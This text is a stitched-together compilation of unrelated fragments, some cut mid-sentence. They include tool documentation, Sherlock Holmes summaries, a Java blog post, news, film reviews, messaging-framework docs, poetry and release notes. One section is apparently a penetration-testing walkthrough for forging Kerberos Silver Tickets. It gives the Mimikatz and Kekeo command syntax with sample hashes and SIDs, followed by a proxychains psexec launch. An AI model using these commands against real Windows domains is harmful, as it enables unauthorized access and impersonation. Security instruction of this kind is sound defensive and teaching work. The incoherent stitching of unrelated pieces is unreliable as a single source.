General tips
Effort has been devoted to make the command line a bit more user friendly.
Interactive mode
Passing the -i
flag allows data to be passed from command line. For example:
bio --translate -i ATGATTATATATA
>S1 translated
MIIY
Note how the input was read as parameters from the command line. We make use of this feature when exploring simple data in an explicit way.
The paramter format is forgiving
You may use single or double dashes on parameters:
bio ncov --fasta --end 100
or:
bio ncov -fasta -end 100
both will work the same way.
The coordinate system is 1 based
Coordinates are 1 based (inclusive on both ends) identical to GFF coordinate formats.
Numbers for start and end coordinates may be written in human friendly form, like so: 5000
or 5,000
or 5K
or 5KB
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The order of operations is pre-determined
You may combine multiple parameters, in that case each condition will be applied sequentially in a internally detrermined order that is independent of the order the parameters are listed.
For example when using a --start
and --end
and --translate
the selection by start and end takes place on the DNA then the resulting sequence is translated into aminoacids.
The same start, end combo followed by --protein
applies the slice on the protein sequences as aminoacids.
You may use multiple accession numbers
Many commands allow using multiple accession numbers, in that case the operations will take place sequentially on each.
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The Return of Sherlock Holmes
by Sir Arthur Conan Doyle
Source: Doyle, A.C. (1905) The Return of Sherlock Holmes London: Georges Newnes, Ltd
- Chapter I: “The Adventure of the Empty House”
- The story opens with the murder of Ronald Adair. Holmes tells Watson his account of tangling with Professor Moriarty and explains his expectation that someone will attempt to murder him. He sets up a dummy across the street, which is shot with an airgun. The killer is arrested.
- Chapter II: “The Adventure of the Norwood Builder”
- Holmes and Watson are visited by John Hector McFarlane. A murder occurs at Jonas Oldacre’s house in Norwood and McFarlane is accused. Holmes follows the clues to deduce that Oldacre faked his death.
- Chapter III: “The Adventure of the Dancing Men”
- Elsie marries Hilton Cubitt and tells him not to ask her about her past. She gets a letters from the United States and pictures of small dancing men start appearing everywhere around her. Holmes is brought in to get to the bottom of the pictures. From then on, things get worse until Holmes cracks the case.
- Chapter IV: “The Adventure of the Solitary Cyclist”
- Holmes is contacted by Violet Smith. When she is followed by a strange man in a bicycle, Holmes decides to get to the bottom of it. When Violet is abducted, Holmes goes after the cyclist and discovers they’re both on the same side. Holmes tracks down the killers.
- Chapter V: “The Adventure of the Priory School, Part 1”
- Thorneycroft Huxtable, a principal at a New England prep school, comes to Holmes with the news that a student has been kidnapped. They must do what they can to track him down.
- Chapter V: “The Adventure of the Priory School, Part 2”
- Holmes and Watson find more clues as to the kidnapping of a prep school student. When the clues point to James Wilder, Holmes and Watson stop at nothing to catch him.
- Chapter VI: “The Adventure of Black Peter”
- A gruesome murder occurs in Forest Row and Police Inspector Stanley Hopkins asks Holmes for help. When Peter Carey’s (also called Black Peter) tobacco pouch is found at the scene of the crime, Holmes investigates.
- Chapter VII: “The Adventure of Charles Augustus Milverton”
- When someone blackmails Lady Eva Blackwell, Holmes is called to the case. He disguises himself as a plumber and goes undercover to catch the blackmailer.
- Chapter VIII: “The Adventure of the Six Napoleons”
- Holmes is called to investigate a case about a man who shatters busts of Napoleon. When a murder occurs, Holmes must work faster to solve the mystery.
- Chapter IX: “The Adventure of the Three Students”
- Holmes finds himself at a university town and discovers that a tutor’s office had been disturbed and Holmes suspects Bannister the servant.
- Chapter X: “The Adventure of the Golden Pince-Nez”
- Inspector Stanley Hopkins asks Holmes to investigate the murder of Willoughby Smith, a murder with no apparent motive. Holmes, along with Dr. Watson and Inspector Hopkins, must get to the bottom of the mystery.
- Chapter XI: “The Adventure of the Missing Three-Quarter”
- When Gaudfrey Staunton disappears, Cyril Overton asks Holmes to investigate. Dr. Armstrong is suspected.
- Chapter XII: “The Adventure of the Abbey Grange”
- Sir Eustace has been killed at the Abbey Grange and Holmes and Watson go to investigate. Lady Brackenstall’s past and former loves play a key role in the case and Holmes and Watson must solve the mystery.
- Chapter XIII: “The Adventure of the Second Stain”
- Lord Bellinger and Trelawney Hope come to Holmes to explain about a stolen document. When Watson tells Holmes that one of his known spies has been murdered, they must solve the case.


Silver Tickets
Silver Tickets (forged TGS tickets) authenticate a user to a service running on a host and provides attackers with stealth and persistence options not provided by Golden Tickets. For more information about Silver Tickets and their benefits, check out Sean Metcalf’s post How Attackers Use Kerberos Silver Tickets to Exploit Systems.
This attack requires a Linux host with the Impacket Library and proxychains installed and a Windows host with Mimikatz and Kekeo installed. Neither host needs to be domain joined.
Forging the Ticket
To generate a Silver Ticket, we’ll need the following information:
- target host machine account NTLM hash
- target host FQDN
- target service
- domain SID
- domain FQDN
- user to impersonate
In this example, we’ll be authenticating to the target host over SMB, so we will use the CIFS service. Sean Metcalf maintains a list of common SPNs, which can be used in Silver Tickets, here.
At the time of writing, ticketer.py doesn’t support Silver Ticket generation. Instead, we’ll use Mimikatz on our Windows host to create a Silver Ticket .kirbi file and use Kekeo to convert the ticket to a ccache file.
Update April 4, 2018: ticketer.py now supports Silver Ticket generation.
Generate the Silver Ticket with Mimikatz’s Kerberos module using the following syntax:
kerberos::golden /user:USERNAME /domain:DOMAIN.FQDN /sid:DOMAIN-SID /target:TARGET-HOST.DOMAIN.FQDN /rc4:TARGET-MACHINE-NT-HASH /service:SERVICE
Here’s an example to create a ticket for user mbrody-da and the CIFS service:
kerberos::golden /user:mbrody-da /domain:amity.local /sid:S-1-5-21-2972629792-1506071460-1188933728 /target:WIN-RMJBTDB7QTF.amity.local /rc4:9f5dc9080322414141c92ff51efb952d /service:cifs
Exit Mimikatz and launch Kekeo. Convert the kirbi file to a ccache file with the following syntax:
misc::convert ccache /path/to/ticket.kirbi
You can convert multiple kirbi tickets with this syntax:
misc::convert ccaches /path/to/ticket1.kirbi /path/to/ticket2.kirbi ...
Copy the ccache file Kekeo output to the attacking Linux host. Make sure to note the file’s absolute path on the Linux host; we will need it to set the KRB5CCNAME variable. The rest of the attack uses our Linux host.
Attack Setup
The remaining Silver Ticket attack setup is largely similar to that of the Golden Ticket attack, with two exceptions.
First, we need to provide the FQDN of the target host in the /etc/hosts file, rather than the NetBIOS name. For our example, the /etc/hosts file should look like this:
<IP_ADDRESS> localhost
<IP_ADDRESS> amity.local
<IP_ADDRESS> WIN-RMJBTDB7QTF.amity.local
The second difference is that we will need to sync our attacking machine’s time with the target host; Silver Tickets don’t communicate with the target’s domain controller.
Follow the same steps as the Golden Ticket attack above to set the KRB5CCNAME variable, validate the proxychains configuration, establish the SSH tunnel with SOCKS proxy, and validate the tunnel with nmap (see the Golden page above).
Launch the Attack
We can now launch the attack with psexec.py against the FQDN of the target host:
proxychains python psexec.py<EMAIL_ADDRESS>-k -no-pass


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--- layout: post title: Introduction to Google Guava's Splitter class date: 2011-10-08 published: true ---
The Splitter
class takes a common, and what should not have to be verbose, exercise and makes it easy and readable. Let us start with a scenario, you have a list of key value pairs that you need to parse into a map. We are also going to assume the input could be malformed with empty entries and extra spaces. For the sake of this example, let us use names and user ids.
"dave:123, john:314,, matt:989"
Now, how this is typically handled:
This ends up being rather verbose and also error prone. We will see how the Splitter
class makes this much easier and readable.
The simplest example of the Splitter
is parsing a standard comma separated list.
Pretty straightforward. In addition to a string separator, the Splitter.on
function can also use a char
, CharSequence
, or a Pattern
. The API provides a convenience method Splitter.onPattern
that will turn a String
into a java Pattern
.
We saw in the initial scenario a poorly formatted string that required us to check for null
and trim at various points to clean up the input. The Splitter
class comes with the utility functions omitEmptyStrings
and trimResults
to take away some of that boilerplate code.
Another benefit of using the utility functions to clean up the split string is readability. When someone is reading your code, it is much easier to understand what is happening when seeing omitEmptyStrings
and trimResults
versus checks for null
, checks for empty string, and various trim calls.
The MapSplitter allows you to take a list of key value pairs and easily turn it into a Java Map. Well, that sounds great for solving our initial scenario, let us see it in action.
That looks much better. We removed the loop, the input was sanitized, we threw out any empty strings, and we broke up the separated values into key/value pairs. It also reads a lot better:
Split a string on comma, omit empty strings, trim those results, then use colon as a key value separator. With these rules, split stringToSplit
This is much easier to read than our initial version. You can read the full documentation on the Splitter
class here.


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Congo president says Ebola outbreak should be over this year
BERLIN: An outbreak of Ebola in eastern Democratic Republic of Congo should be eradicated by the end of 2019, Congolese President Felix Tshisekedi said on Friday.
The epidemic in Congo was declared in August 2018 and has so far killed about 2,100 people, making it the second-worst outbreak of the virus on record.
"There are still a few isolated cases in Ituri (province) but we think that by the end of the year we can completely stop that," he said at a news conference in Berlin.
(Reporting by Thomas Escritt; Writing by Alessandra Prentice; Editing by David Clarke)


DRIVE ME CRAZY A film review by Steve Rhodes Copyright 1999 Steve Rhodes RATING (0 TO ****): * 1/2
Every other week of late brings another generic teen comedy to our local movie theaters. With interchangeable plot points and photogenic young actors, most of them share the same remarkable blandness. This week's entry is John Schultz's DRIVE ME CRAZY. Lamer than most, it does manage to rise above the worst of the genre, flicks such as the unbearable JAWBREAKER.
In my generation it was silly surfer movies that the studios put out by the dozens in order to attract those lucrative teen audiences, flush with cash and ready to spring for lots of refreshments at the concession stand. The latest slew of teen movies is no worse than the old surfer ones and no better. Think of them all as representative of a class of movies that are the cinematic equivalent of elevator music. They pass the time and rarely offend.
DRIVE ME CRAZY takes place at a high school about to celebrate its centennial year, which means -- are you sitting down? -- the movie will end in a -- surprise! -- big prom. There have been so many proms this year that one feels underdressed in the theater without a tux or a prom dress.
The story concerns two next-door neighbors, Nicole (Melissa Joan Hart) and Chase (Adrian Grenier), who used to share the same tree house when they were little. Now seniors, they don't like each other anymore.
When Nicole isn't asked to the prom as planned by the school's hottest jock, she asks the disheveled Chase to help her out. If he'll go with her, she suggests she'll treat him to some sex as a reward. To make it look genuine, he'll have to get cleaned up, and they'll have to act like they're an item.
Think they'll end up falling in love for real? Well, duh!
And will there be several scenes of underage drinking and binging? Of course. This movie tries to make it seem more harmless by having one kid, Dave (Mark Webber) be the school's designated driver. He provides free taxi service to all of those too drunk to drive.  Being considered a loser, Dave, you can be sure, will eventually be fixed up by the script with a gorgeous girl as his compensation.
The completely predictable and uneventful story ends with a small twist that would have provided a good starting point for a more substantial comedy. But it might have demanded some intelligence on the part of the viewers, something Rob Thomas's significantly underdeveloped script avoids like the plague.
This much can be said. Even if their acting in this movie isn't much, Hart and Grenier seem to be having a good time. Too bad the same can't be said of most of the audience.
DRIVE ME CRAZY runs 1:34. It is rated PG-13 for teen alcohol and drug use and for language. It would be acceptable for most teenagers.
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"Outlawed would be Redskins, Indians, Braves, Chiefs, Apaches, and
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[California] legislation, a state commission would then add to the
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"Because dog meat is technically illegal in Korea, you'll never find it on
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poshintang, or "tonic soup." Particularly popular in the summer, during the
dog days of the Chinese calendar between July 19 and August 18, poshintang
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5.F, 3.3.1-error-identification
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Developed using D3 this project takes the dataset that can be found on kaggle.com and creates a map visualization of the dataset.
The visualization allows users to see the locations of each of the allied bombing raids performed in WWI. While hovering over a datapoint the circle will enlarge. The radius of the circle is a function of the payload dropped at that particular point. The user can click on a datapoint to gain more information about the partiuclar point. This information is displayed on the right pannel. After clicking, the bombing route will be displayed as a purple dashed-line on the map.
The bottom pannel serves two purposes. First, it is used as a legend with the color of the checkbox cooresponding to the bombing raid performed by that country. Secondly, it gives the user the ability to filter the dataset by each country.
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Close ProjectThe N-Queens problem is to put N Queens on a board (N × N ) so that no queen attacks any other queen. (A queen can attack any square on the same row, same column, or same diagonal.) This project is a two player game of the N-queens problem. Used to explore the AI technologies in a two player, deterministic, perfect information, zero sum environment. It will show the use of the MiniMax algorithm, the benefits of Alpha-Beta pruning, and also how a depth-cutoff and heuristic evaluation function for MiniMax search can improve execution time to allow for larger NxN game boards.
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Of course these features cannot be shown in the above demo since the site is not hosted. However, since the project is developed on cloud9.io it is possible for me to run the project there to make the demo live. For this feature you would need to contact me to arrange use of the demo. Alternatively, I invite you to check out the source code on my github by clicking the button below. Here you will find the source code and detailed instructions to run the project on your own machine.
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At Inah Superior Products we pride ourselves on being the pioneers in producing a grape juice with the complexity of wine. We strive to produce a range of prestigious juices that reaches out to wine drinkers and non-wine drinkers alike, by taking the benefits of wine and making a juice that reaches out to all people, irrespective of medical conditions or religious convictions.
Through our unique natural extractions process, we have released all the nutrition found in wine grapes into Inah giving it not only the complexity of flavours found in wine, but also its health benefits in a juice that contains absolutely no alcohol.
Inah offers an alternative to wine. It is prestigious in taste, as it is in appearance being the perfect addition to any dinner table. Inah superior Grape Juice is made from 100% pure cultivar grapes. No sugar is added. The sweetness is naturally obtained from the glucose and fructose contained naturally in the grape.
Certified Halaal by the Muslim Judicial Council of South Africa (MJC). MJC is a MUIS (Islamic Religious Council of Singapore) recognized halal certification body
Participant in the 2014 Los Angeles International Wine Awards Competition (non-alcoholic department)
Bronze Medal: Non-alcoholic Cabernet Sauvignon, Wooded, Stellenbosch 2013 & 2014
Bottled by an IPW Certified Producer. ISO 9001: 2000 – Quality Management System certified
Similar benefits found in red wines as well as other beneficial flavonoids. Health benefits in INAH are approximately 30% greater than those found in red wines
During the process, absolutely no fermentation occurs
Experience the distinctive Cabernet Sauvignon flavours reminiscent of blackberry and ripe plum enhanced with oak in INAH.
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In June of 2017 UCLA’s Center for Educational Assessment completed a detailed report on a variety of approaches to research and writing instruction, including WI+RE’s online Cornerstone Research workshops.
The Center for Educational Assessment (CEA) provided an evaluation of ongoing activities of the WI+RE team which included face-to-face workshops, online tutorials, and course and faculty collaborations. The assessment focus captured both student and faculty perspectives and included review and analysis of existing data provided by the project collaborators and interviews conducted by CEA researchers with select instructors. Existing data included responses to pre- and post-surveys given to students attending the Cornerstone Research Workshops, a post-survey completed by users of an online instructional module, and an active questionnaire integrated through CCLE completed by students of a Psychology course.
It was wonderful to work with the expert team at the CEA, and we greatly appreciated their mixed methods approach which included both analysis of student learning and faculty interviews.
To learn more, check out the full report, which also includes an assessment of the face to face research workshop series and has extensive notes on student and faculty feedback.
Thank you to OID, CEA, and everyone that contributed to this assessment project!
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We use Run when we are calling an external command-line program (or any command that the prompt recognizes).
It can return %ERRORLEVEL% and with this code, we can show a message to the user saying if the operation was success or not.
It doesn't support async output, it means that you can't show to the user the output of the external program in real-time,
you need to wait till the program exits.


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5.1.1. Architecture Overview¶
Table of contents
MOM messaging provides a function to execute an action corresponding to the request ID for request messages sent from the outside. The message queue used for MOM messaging is referred to as MQ.
MOM messaging is divided into two types:
- Synchronous response messaging
- A response message is created for the request message and sent to MQ based on the execution result of business processing. Used when an immediate response is required, such as for permission business.
- Asynchronous response messaging
- The response message is not sent, and the request message contents received from MQ are stored in a table in the DB. Business process is executed by a subsequent batch using this table as the input. For information on batch, see Messaging Using Tables as Queues.
Tip
Asynchronous response messaging is a very simple process of storing the contents of messages in a table, so the action class provided by the framework can be used without any change. In that case, only the required configuration needs to be configured, and coding is not required.
Important
Only fixed-length data of General Data Format can be handled by MOM messaging.
MOM messaging uses the MOM messaging function of the library to send and receive messages. For details, see MOM Messaging .
<IP_ADDRESS>. Configure MOM messaging¶
The configuration of MOM messaging is exactly the same as Nablarch Batch Application. See Configuration of Nablarch Batch Application .
<IP_ADDRESS>. Specify action and request ID based on the request message¶
MOM messaging uses a specified field in the request message as the request ID. Since the request ID does not include a hierarchical structure unlike request paths of web applications, use Request Dispatch Handler to specify the action class package and class name suffix in the configuration, and dispatch it to the class corresponding to the request ID.
The request ID must be included in the framework control header in the request message. For details, see framework control header .
<IP_ADDRESS>. Process flow of MOM messaging¶
The process flow of MOM messaging, from receiving a request message to returning a response message, is shown below. The only difference with asynchronous response messaging is that no response message is returned.
- The common start-up launcher (Main) executes the handler queue.
- The data reader (FwHeaderReader / MessageReader) monitors the message queue, reads the received messages, and provides request messages one by one.
- The Configuration of Nablarch Batch Application configured in the handler queue specifies the action class to be processed based on the request ID included in the specified field of the request message, and adds it to the end of the handler queue.
- The action class executes business logic for each request message using a form class and an entity class.
- The action class returns ResponseMessage , which represents the response message.
- Steps 2 to 5 are repeated until there is a process stop request.
- status code → process exit code conversion handler (StatusCodeConvertHandler) set in the handler queue converts the status code of the process result into the process exit code, and the process exit code is returned as the processing result of MOM messaging.
<IP_ADDRESS>. Handlers used in MOM messaging¶
Nablarch provides several handlers as standard, which are required for building MOM messaging. Build the handler queue in accordance with the requirements of the project (a custom handler will have to be created for the project depending on the requirements)
For details of each handler, refer to the link.
- Handlers that convert request and response
- Handlers that control process execution
- Handlers associated with messaging
- Handlers associated with database
- Error handling handler
- Others
<IP_ADDRESS>.1. Minimum handler configuration for synchronous response messaging¶
When building a synchronous response messaging, the minimum required handler queue is as below. With this as the base, add standard handlers of Nablarch or custom handlers created in the project according to the project requirements.
| No. | Handler | Thread | Request process | Response process | Exception handling |
|---|---|---|---|---|---|
| 1 | Status Code → Process End Code Conversion Handler | Main | Converts the status code to process exit code. | ||
| 2 | Global Error Handler | Main | Outputs the log for a runtime exception or error. | ||
| 3 | Multi-thread Execution Control Handler | Main | Creates a sub-thread and executes the process of the subsequent handler in parallel. | Waits for normal termination of all threads. | Waits for the current thread to complete and rethrows the cause exception. |
| 4 | Retry Handler | Sub | Catches a runtime exception that can be retried, and provided that the retry limit has not been reached, re-executes the subsequent handler. | ||
| 5 | Messaging Context Management Handler | Sub | Acquires MQ connection. | Releases the MQ connection. | |
| 6 | Database Connection Management Handler | Sub | Acquires DB connection. | Releases the DB connection. | |
| 7 | Loop Control Handler in Request Thread | Sub | Executes subsequent handlers repeatedly. | Restores the handler queue contents and continues the loop. | Stops the loop only when there is a process stop request or a fatal error occurs. |
| 8 | Thread Context Variable Delete Handler | Sub | Deletes all the values configured on the thread local by the Thread Context Variable Management Handler . | ||
| 9 | Thread Context Variable Management Handler | Sub | Initializes thread context variables such as request ID and user ID from command line arguments. | ||
| 10 | Process Stop Control Handler | Sub | If the process stop flag of the request table is on, a process stop exception (ProcessStop) is thrown without performing the subsequent handler process. | ||
| 11 | Message Response Control Handler | Sub | Creates messages based on the content of response messages returned from the subsequent handlers and sends it to MQ. | Creates messages based on the content of the errors and sends it to MQ. | |
| 12 | Data Read Handler | Sub | Use a data reader to read one request message and pass it as an argument of the subsequent handler. Also, the execution ID numbered is numbered. | After generating output of the read message as a log, rethrows the original exception. | |
| 13 | Request Dispatch Handler | Sub | Determines the action to call based on the request ID included in request messages. | ||
| 14 | Transaction Control Handler | Sub | Begin a transaction | Commits the transaction. | Rolls back a transaction. |
<IP_ADDRESS>.2. Minimum handler configuration for asynchronous response messaging¶
When building a asynchronous response messaging, the minimum required handler queue is as below. With this as the base, add standard handlers of Nablarch or custom handlers created in the project according to the project requirements.
The minimum handler configuration for asynchronous response messaging is the same as synchronous response messaging, except for the following handlers.
Important
An error response cannot be sent if the storage of messages fails in asynchronous response messaging. Hence, the message is returned to the queue temporarily and retried until the predetermined number of times is reached. For this reason, the registration process for the DB and queue operation must be handled as one transaction (two-phase commit control). Specifically, change the configuration of Transaction Control Handler and replace with implementation that supports two-phase commit.
Nablarch provides an adapter for two-phase commit using WebSphere MQ. For details, see IBM WebSphere MQ Adapter .
| No. | Handler | Thread | Request process | Response process | Exception handling |
|---|---|---|---|---|---|
| 1 | Status Code → Process End Code Conversion Handler | Main | Converts the status code to process exit code. | ||
| 2 | Global Error Handler | Main | Outputs the log for a runtime exception or error. | ||
| 3 | Multi-thread Execution Control Handler | Main | Creates a sub-thread and executes the process of the subsequent handler in parallel. | Waits for normal termination of all threads. | Waits for the current thread to complete and rethrows the cause exception. |
| 4 | Retry Handler | Sub | Catches a runtime exception that can be retried, and provided that the retry limit has not been reached, re-executes the subsequent handler. | ||
| 5 | Messaging Context Management Handler | Sub | Acquires MQ connection. | Releases the MQ connection. | |
| 6 | Database Connection Management Handler | Sub | Acquires DB connection. | Releases the DB connection. | |
| 7 | Loop Control Handler in Request Thread | Sub | Executes subsequent handlers repeatedly. | Restores the handler queue contents and continues the loop. | Stops the loop only when there is a process stop request or a fatal error occurs. |
| 8 | Thread Context Variable Delete Handler | Sub | Deletes all the values configured on the thread local by the Thread Context Variable Management Handler . | ||
| 9 | Thread Context Variable Management Handler | Sub | Initializes thread context variables such as request ID and user ID from command line arguments. | ||
| 10 | Process Stop Control Handler | Sub | If the process stop flag of the request table is on, a process stop exception (ProcessStop) is thrown without performing the subsequent handler process. | ||
| 11 | Transaction Control Handler | Sub | Begin a transaction | Commits the transaction. | Rolls back a transaction. |
| 12 | Data Read Handler | Sub | Use a data reader to read one request message and pass it as an argument of the subsequent handler. Also, the execution ID numbered is numbered. | After generating output of the read message as a log, rethrows the original exception. | |
| 13 | Request Dispatch Handler | Sub | Determines the action to call based on the request ID included in request messages. |
<IP_ADDRESS>. Data readers used in MOM messaging¶
Nablarch provides several data readers as standard, which are required for building MOM messaging. For details of each data reader, refer to the respective links.
- FwHeaderReader (reads the framework control header from the message)
- MessageReader (reads messages from MQ)
Tip
If the above data readers cannot meet the project requirements, create a class that implements the DataReader interface in the project.
<IP_ADDRESS>. Action used in MOM messaging¶
Nablarch provides several action classes as standard, which are required for building MOM messaging. For details of each action class, refer to the respective links.


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Good poetry, like wine
best to drink and play.
Bad poetry, like phlegm,
best expel and toss away.
Man on the train looks
like Alec Baldwin, actor
Where's the camera?
I sometimes wonder
Does alcohol help or hinger?
Let's discover!
Hispanic woman
with a beauty mark.
Best have that checked.
Wouldn't Facebook be
a better place by far
if all the spam was replaced
with poetry bizarre?
If you are cold, dear,
why are you clutching
an iced coffee?
Must I really
spend my days in a café
and wear a beret?
Working long hours
Engineers earn a fortune
to replace pad'n'pen.
Love poems and lim'ricks
can be told in epic mode
Just keep a straight face.


The giant panda (Ailuropoda melanoleuca, literally "black and white cat-foot"; Chinese: 大熊猫; pinyin: dà xióng māo, literally "big bear cat”), also known as panda bear or simply panda, is a bear native to south central China. It is easily recognized by the large, distinctive black patches around its eyes, over the ears, and across its round body. The name "giant panda" is sometimes used to distinguish it from the unrelated red panda. Though it belongs to the order Carnivora, the giant panda's diet is over 99% bamboo. Giant pandas in the wild will occasionally eat other grasses, wild tubers, or even meat in the form of birds, rodents, or carrion. In captivity, they may receive honey, eggs, fish, yams, shrub leaves, oranges, or bananas along with specially prepared food


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I request information about me that I am entitled to under the Data Protection Act 1998 relating to:
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- Profiling data on me.
- Transaction history data.
- Meta-data about me and my behaviour.
- Data on my relationships with friends, family, and others.
- Data relating to credit ratings.
- Customer Lifetime Value, and any similar score about my value.
Format: I would like to get the information via a .csv download url.
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GPCRdb
G protein-coupled receptors (GPCRs) are cell-surface receptors mediating the responses of 2/3rds of human hormones1 and 1/3rd of
drugs2.
Each GPCR can bind several transducers, G proteins, GPCR kinases (GRKs) and arrestins
leading to distinct intracellular signaling networks and functional outcomes.
GPCRdb in 2023: State-specific structure models using AlphaFold2 and expansion of ligand resources.
Pándy-Szekeres, G., Caroli, J., Mamyrbekov, A., Kermani, A.A., Keserű, G.M., Kooistra, A.J. and Gloriam, D.E.
Nucleic Acids Research, 2023
GPCRdb in 2021: integrating GPCR sequence, structure and function.
Kooistra AJ, Mordalski S, Pandy-Szekeres G, Esguerra M, Mamyrbekov A, Munk C, Keseru GM, Gloriam DE
Nucleic acids research, 2021, 49:D335-D343
Structure of the class D GPCR Ste2 dimer coupled to two G proteins.
Velazhahan V, Ma N, Pandy-Szekeres G, Kooistra AJ, Lee Y, Gloriam DE, Vaidehi N, Tate CG
Nature, 2021, 589:148-153
An online GPCR structure analysis platform.
Kooistra AJ, Munk C, Hauser AS, Gloriam DE
Nature structural & molecular biology, 2021, 28:875-878
Combinatorial expression of GPCR isoforms affects signalling and drug responses.
Marti-Solano M, Crilly SE, Malinverni D, Munk C, Harris M, Pearce A, Quon T, Mackenzie AE, Wang X, Peng J, Tobin AB, Ladds G, Milligan G, Gloriam DE, Puthenveedu MA, Babu MM
Nature, 2020, 587:650-656
An online resource for GPCR structure determination and analysis.
Munk C, Mutt E, Isberg V, Nikolajsen LF, Bibbe JM, Flock T, Hanson MA, Stevens RC, Deupi X, Gloriam DE
Nature methods, 2019, 16:151-162
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The Location element is used to model the places where (active and passive) structure elements such as business actors, application components, and devices are located. This is modeled by means of an aggregation relationship from a location to structure element. A location can also aggregate a behavior element, to indicate where the behavior is performed.
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In 1901, 20-year-old William S. Harley drew up plans for a small engine with a displacement of 7.07 cubic inches (116 cc³) and four-inch (102 mm) flywheels.[8] The engine was designed for use in a regular pedal-bicycle frame. Over the next two years, Harley and his childhood friend Arthur Davidson worked on their motor-bicycle using the northside Milwaukee machine shop at the home of their friend, Henry Melk. It was finished in 1903 with the help of Arthur's brother, Walter Davidson. Upon testing their power-cycle, Harley and the Davidson brothers found it unable to climb the hills around Milwaukee without pedal assistance. They quickly wrote off their first motor-bicycle as a valuable learning experiment.
This first "real" Harley-Davidson motorcycle had a bigger engine of 24.74 cubic inches (405 cc³) with 9.75 inches (25 cm) flywheels weighing 28 lb (13 kg). The machine's advanced loop-frame pattern was similar to the 1903 Milwaukee Merkel motorcycle (designed by Joseph Merkel, later of Flying Merkel fame). The bigger engine and loop-frame design took it out of the motorized bicycle category and marked the path to future motorcycle designs. The boys also received help with their bigger engine from outboard motor pioneer Ole Evinrude, who was then building gas engines of his own design for automotive use on Milwaukee's Lake Street.


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Source Analysis Release Notes
Version 3.0
October 2001
Contents
DIScover 3.0
Hardware and Software Requirements
Customer Support
Errata
The Discover 3.0
release contains new and improved editions of products formerly identified by
the name CodeRover.
Discover 3.0
Discover 3.0, is the latest version of the Source Analysis product family.
New features in MKS Engineer Integrity 7.3 include:
Feature
|
Provides |
|
C/C++/Java parser improvements |
· 30% improvement in build time on small models and up to 60% on larger models |
|
Impact analysis
|
· Additional tools for understanding the impact of change to software · Method for developers to review the points of concern related to a given change · New reporting capabilities · Documentation explaining the different ways the impact of a change is tracked |
|
Change Phase I, GUI, wizards, etc. |
· Graphical assistant for creating Tree Pattern Matching expressions · Smart listing of available attributes · Text selection-to-expression conversion · New Apply feature for testing new expressions · New Save and restore capabilities for expressions · Assistance in node marking for transformation |
|
Licensing (use license key manager) |
· Choice of named-user licensing, concurrent (floating) license, or site license options to best suit your needs. · Improved ease of deployment · Minimal contact requirements for product evaluation · Facilitated volume distribution |
|
Context sensitive help facility |
· Easily accessed information on the task at hand, without having to read the entire manual |
|
Model build Project Editor |
· Improved ease of evaluation and use · Complete Java code compatibility · New ability to modify imported flags · New capabilities for the manual configuration of small to midsize projects |
Basic SIS support(c-i, c-o, re-sync) |
· Convenience of source check in and check out |
|
ClearMake support
|
· Improved integration into ClearCase environment for building models |
|
Bundled demo model in distribution |
· Sample for quickly trying out the product without having to use your own code · A means for firewall users to easily evaluate the product |
Discover 3.0
Discover 3.0 is the latest version of the MKS Source Analysis product family.
New features in Discover 3.0 include:
|
Feature |
Provides |
|
C/C++/Java parser improvements |
· 30% improvement in build time on small models and up to 60% on larger models |
|
Trends
|
· Ability to track changes in various metrics over time · Ability to agn processes with SEI CMM · New graphing mechanism · New export capabilities to html and Microsoft Excel · Improved documentation and new context sensitive help |
|
Licensing (use license key manager) |
· Choice of named-user licensing, concurrent (floating) license, or site license options to best suit your needs. · Improved ease of deployment · Minimal contact requirements for product evaluation · Facilitated volume distribution |
|
Context sensitive help facility |
· Easily accessed information on the task at hand, without having to read the entire manual |
|
Model build Project Editor |
· Improved ease of evaluation and use · Opens up the product to all Java code · Modify imported flags · Small to midsize projects may now be configured by hand |
Java quality filters |
· Initial Java-specific offering |
|
Basic SIS support (c-i, c-o, re-sync) |
· Provides the convenience of source check in and check out |
ClearMake support
|
· Improved integration into ClearCase environment for building models |
|
Bundling demo model in distribution |
· Sample model for quick and easy product evaluation, without having to use your own code · A means for firewall users to easily evaluate the product |
|
Caliper driver re-implementation |
· Significantly improved performance for QAR and Trends products |
Hardware and Software Requirements
Source Analysis works on the following platforms:
·
Windows NT
·
Windows 2000
This version of Source Analysis has the following minimum system
requirements:
·
Pentium 200 with 128 megs of memory
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Microsoft Visual C++, version 5.x, 6.x, or 7.x
Editor support:
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Microsoft Visual C++
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Emacs
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VIM
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JBuilder 3.5, 4.0, 5.0
Errata
| Page 10: Code Integrity Guide and Engineer Integrity User Guide | Reference to integration with Integrity Manager should refer to integration with "Source Integrity" |


Roger Mellor<EMAIL_ADDRESS>Maytime in Mayfair (1949)
'Maytime in Mayfair' is set in the magical world of Mayfair's haute couture and the creators of ladies fashions. Eileen Grahame (Anna Neagle) is the designer-manageress of one of Mayfair's exclusive dress salons. She creates designs for the rich - the lovely and the 'unlovely' alike: the dresses and accessories which dictate the style of the whole fashion world. Across the street is a rival establishment run by suave singing playboy D'Arcy Davenport (played by West End Musical Star Peter Graves), who regularly entertains his wealthy lady clients at the piano with a verse of "Amor, Amor". Between them Eileen and D'Arcy are the despots of womens modes and moods. D'Arcy would love Eileen to give up her own salon, and merge with his business.
Michael Gore-Brown (Michael Wilding) appears on the scene. Irrepressible, insouciant and impoverished, he finds himself by means of a legacy, heir to the salon which Eileen runs. He is encouraged to sell the business by his cousin, Henry (Nicholas Phipps), who is totally distainful of the fashion business, who sees this as an opportunity for Gore-Brown to sell and make some money.
Michael and Henry go to check the salon over, and are pleasantly surprised by Eileen, as they were expecting to meet, in Henry's words 'a battleship in black satin'. To Henry's disgust, Michael decides to take a lively interest in running the busines with Eileen. Reluctantly, he is supported by the well meaning Henry, who brings the threat of disaster to the salon: surprised that Darcy belongs to the same 'gentleman's club' as himself, he allows himself to be inveigled by D'Arcy into a drinking session, which ends with Henry in the custody of the police, and D'Arcy gaining the secrets of Eileen's latest "New Look" designs. He discloses these secrets to the press, with a view to ruining Eileen's business.
Michael is also in romantic pursuit of Eileen, who initially, is not unreceptive, but later she mistakenly believes that it is he who leaked her trade secrets. In disgust, she leaves her salon, and travels to Paris to view the latest collections. Darcy goes as well. Michael pursues her to Paris, but Eileen and D'Arcy move on when the latter discovers that they are being followed. Michael dispondently returns to London, and is on the point of selling the business to two fashion 'spivs' (acting on D'Arcy's instructions), when in walks Eileen,who has returned poste haste, after learning of D'Arcy's betrayal.
Eileen and Michael send the spivs packing, and Michael decides to settle the score with D'Arcy, the result of which he finds himself at the police station. Eileen arrives to bail him out, and 'takes charge' of him herself, as wedding bells ring..............
